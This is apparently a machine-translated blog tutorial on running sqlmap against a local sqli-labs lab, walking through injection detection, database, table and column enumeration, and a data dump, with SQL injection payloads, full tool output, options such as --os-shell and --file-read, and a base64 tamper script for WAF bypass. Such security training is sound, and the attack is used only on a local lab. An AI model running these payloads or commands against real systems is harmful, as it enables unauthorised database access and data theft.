「WebSecurityAttack and Defense」では、sqli-labsを使用してSQLmapのアーティファクトに精通しており、このツールの使用法にも大まかに精通しています。
SQLインジェクションの基本的な手順:
- 注入タイプを決定します
- データベース名を取得する
- データテーブル名を取得する
- フィールド名を取得する
- データを取得する
1注射の種類を決定します
1.1タイプを取得する
-uパラメーターを使用してURLを指定します(sqlmapレベル1)
sqlmap -u "http://localhost:4000/Less-1?id=1"
URLには、要求されたパラメータを付けることが望ましいことに注意してください。
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind(布尔盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 9623=9623 AND 'JjhO'='JjhO
Type: error-based(报错注入)
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x71767a7871,(SELECT (ELT(3702=3702,1))),0x716a6b6271),3702) AND 'oyIr'='oyIr
Type: time-based blind(延时注入)
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8003 FROM (SELECT(SLEEP(5)))etaK) AND 'ACHt'='ACHt
Type: UNION query(联合注入)
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-9510' UNION ALL SELECT NULL,CONCAT(0x71767a7871,0x65497456414974586b4c4a676479645971685666684c6163637353757955774841706b47726a6755,0x716a6b6271),NULL-- -
---
上記のように、パラメーターIDは4つのインジェクション手法(ブール、エラー、遅延、和集合)を使用でき、使用されるペイロードも指定されます。SQLmapは、5つのSQLインジェクション手法を使用します。
- 関節注射
- エラーインジェクション
- ブールブラインド
- 注入を遅らせる
- スタック噴射
これらのインジェクションタイプに慣れていない場合は、sqli-labsにアクセスして実行できます。以前の記事https://blog.csdn.net/qq_43085611/article/details/112661431を参照してください。
1.2POSTまたはGETタイプ
Burp Suiteを使用してパケットをキャプチャします(キャプチャする必要のあるWebページはローカルで構築されたURLであり、通常はlocalhostまたは127.0.0.1を介してアクセスされますが、これら2つのアドレスを渡すと、BurpSuiteはパケットをキャプチャできません。検討できます。ホストの変更他のドメイン名を使用してアクセスするには)、最後にキャプチャしたパッケージを1.txtファイルとしてローカルに保存します。
次に、-rパラメーターを使用してHTTPパッケージを指定します(-r REQUESTFILEファイルからHTTP要求をロードします)
sqlmap -r 1.txt
このメソッドは、GETタイプまたはPOSTタイプのインジェクションの脆弱性を検出できます。
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 2269=2269 AND 'fYWA'='fYWA
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(8383=8383,1))),0x7176786a71),8383) AND 'THdq'='THdq
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1253 FROM (SELECT(SLEEP(5)))PKdp) AND 'yWGz'='yWGz
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-8764' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671,0x766e654f656c6f7779676842616d704f53567a74486b645956614a4b527578794d6f44544775644b,0x7176786a71)-- -
SQLmapによって提供されるプロンプト情報を注意深く見ると、彼が実行結果を保存していることがわかります。
[16:00:42] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:00:42] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'(运行结果保存地址)
[*] ending @ 16:00:42 /2021-01-26/
2データベース名を取得します
コマンドを使用する
sqlmap -r 1.txt --dbs
データベース情報
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:05:51] [INFO] fetching database names
[16:05:51] [WARNING] reflective value(s) found and filtering out
[16:05:51] [INFO] retrieved: 'mysql'
[16:05:51] [INFO] retrieved: 'information_schema'
[16:05:51] [INFO] retrieved: 'performance_schema'
[16:05:51] [INFO] retrieved: 'sys'
[16:05:51] [INFO] retrieved: 'study'
[16:05:51] [INFO] retrieved: 'hello_ssm'
[16:05:51] [INFO] retrieved: 'dvwa'
[16:05:51] [INFO] retrieved: 'security'
[16:05:51] [INFO] retrieved: 'challenges'
available databases [9]:
[*] challenges
[*] dvwa
[*] hello_ssm
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] study
[*] sys
3データテーブル名を取得します
コマンドを使用する
sqlmap -r 1.txt --tables
このコマンドは、システム内のすべてのテーブル名を一覧表示し、頻繁には使用されません。
データテーブルの名前を取得するために一般的に使用されるコマンド
sqlmap -r 1.txt -D="security" --tables
-Dを使用してデータベース名を指定し、特定のデータベースのデータテーブル名を取得します。実行結果は以下のとおりです。
[16:09:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:09:23] [INFO] fetching tables for database: 'security'
[16:09:23] [WARNING] reflective value(s) found and filtering out
[16:09:23] [INFO] retrieved: 'emails'
[16:09:23] [INFO] retrieved: 'referers'
[16:09:23] [INFO] retrieved: 'uagents'
[16:09:23] [INFO] retrieved: 'users'
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
[16:09:23] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'
[*] ending @ 16:09:23 /2021-01-26/
4フィールド名を取得します
上記のテーブル名を取得する方法と同様に、データテーブル名を指定することをお勧めします
sqlmap -r 1.txt -D="security" -T emails --columns
指定されたパラメータの-D="security"
実施形態を使用することに加えて、それはまた-T email
、実施形態において使用され得る。
実行結果は以下のとおりです。
[16:13:59] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:13:59] [INFO] fetching columns for table 'emails' in database 'security'
[16:14:00] [WARNING] reflective value(s) found and filtering out
[16:14:00] [INFO] retrieved: 'id','int'
[16:14:00] [INFO] retrieved: 'email_id','varchar(30)'
Database: security
Table: emails
[2 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email_id | varchar(30) |
| id | int |
+----------+-------------+
[16:14:00] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'
[*] ending @ 16:14:00 /2021-01-26/
5データを取得する
使用されるコマンドは次のとおりです。
sqlmap -r 1.txt -D "security" -T emails -C email_id,id --dump
実行結果は以下のとおりです。
[16:17:19] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:17:19] [INFO] fetching entries of column(s) 'email_id, id' for table 'emails' in database 'security'
[16:17:19] [WARNING] reflective value(s) found and filtering out
[16:17:19] [INFO] retrieved: '[email protected]','1'
[16:17:19] [INFO] retrieved: '[email protected]','2'
[16:17:19] [INFO] retrieved: '[email protected]','3'
[16:17:19] [INFO] retrieved: '[email protected]','4'
[16:17:19] [INFO] retrieved: '[email protected]','5'
[16:17:19] [INFO] retrieved: '[email protected]','6'
[16:17:19] [INFO] retrieved: '[email protected]','7'
[16:17:19] [INFO] retrieved: '[email protected]','8'
Database: security
Table: emails
[8 entries]
+------------------------+----+
| email_id | id |
+------------------------+----+
| [email protected] | 1 |
| [email protected] | 2 |
| [email protected] | 3 |
| [email protected] | 4 |
| [email protected] | 5 |
| [email protected] | 6 |
| [email protected] | 7 |
| [email protected] | 8 |
+------------------------+----+
[16:17:19] [INFO] table 'security.emails' dumped to CSV file '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top/dump/security/emails.csv'(数据表)
[16:17:19] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'
[*] ending @ 16:17:19 /2021-01-26/
取得したデータはcsvファイルに保存されます。
6その他のパラメータ
構成
- -レベルn:nは1〜5で、さまざまな検出レベルを表します(レベルが高いほど、テストはより包括的になりますが、より多くの要求が送信されます。デフォルトは1です)
- -リファラー:リファラーを欺くように設定します。
- --Sql-shel:カスタムSQLステートメントを実行します
- –os-cmdまたは–os-shell:システムコマンドを実行します
- -ファイル読み取り:システムファイルを読み取ります
- –file-writeまたは–file-dest:ファイル書き込み
- -改ざんモジュール名:WAF / IDS / IPSをバイパスするスクリプトを指定します
メッセージを収集する
- -ユーザー:すべてのユーザー
- -パスワード:ユーザーのパスワード
- -Curent-db:現在のデータベース名
- -Curent-user:現在のユーザー名
- –is-dba:現在のユーザーが管理者であるかどうか
- -役割:管理者のリスト
7改ざん
改ざんは通常、WAFをバイパスするために使用されます。単純なbase64encodeを使用して分析します。
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
return encodeBase64(payload, binary=False) if payload else payload
改ざんは主に送信前に変換を実行することです。たとえば、一部のWebサイトは送信前にBase64暗号化を実行し、サーバーはデータの受信後にBase64復号化を実行します。改ざんが使用されておらず、sqlmapが直接使用されている場合、プレーンテキストが送信されます。サーバーのbase64が復号化された後は、プレーンテキストを挿入できません。
通常、改ざんスクリプトを作成するには、Webサイトがデータを送信する方法を具体的に分析する必要があります。使用法:--tamper 模块名(文件名)
。